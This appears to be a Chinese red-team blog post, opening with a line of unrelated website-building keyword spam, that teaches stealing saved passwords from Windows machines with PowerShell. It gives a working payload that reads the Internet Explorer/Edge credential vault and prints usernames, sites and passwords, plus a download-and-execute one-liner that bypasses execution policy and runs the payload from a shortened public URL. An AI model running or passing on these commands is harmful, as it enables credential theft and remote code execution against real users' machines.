做网站需要哪些素材,认证空间如何显示网站,洛阳网站改版维护公司,步骤1渗透攻击红队一个专注于红队攻击的公众号大家好#xff0c;这里是 渗透攻击红队 的第 41 篇文章#xff0c;本公众号会记录一些我学习红队攻击的复现笔记(由浅到深)#xff0c;不出意外每天一更Powershell内网渗透一直以来都是一个热门话题#xff0c;试想在一个大型的内网… 渗透攻击红队一个专注于红队攻击的公众号大家好这里是 渗透攻击红队 的第 41 篇文章本公众号会记录一些我学习红队攻击的复现笔记(由浅到深)不出意外每天一更Powershell内网渗透一直以来都是一个热门话题试想在一个大型的内网环境下当我们拿到了内网windows机器后我们该如何通过他们去获取更多的所需资源这就需要我们进行内网渗透了。然而在内网渗透中除了kali、metasploit等高能的存在以外还有一款神器也常常容易遭到忽略----PowerShellPowershell 获取 IE 浏览器的账户密码信息Powershell首先需要的是一段 Powershell Payload[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentTypeWindowsRuntime]$vault New-Object Windows.Security.Credentials.PasswordVault$vault.RetrieveAll() | % { $_.RetrievePassword();$_ } | select username,resource,password我们可以把他放到公网上这里有老外现成的了http://bit.ly/2K75g15如果你不想用它的域名你也可以把 Powershell Payload 放到你自己的公网服务器上然后使用 Powershell 调用它即可powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString(http://bit.ly/2K75g15)这个时候就能获取到你 IE 浏览器中的缓存信息查找你保存的账户和密码信息。参考文章https://github.com/HanseSecure/credgrap_ie_edge渗透攻击红队一个专注于渗透红队攻击的公众号点分享点点赞点在看
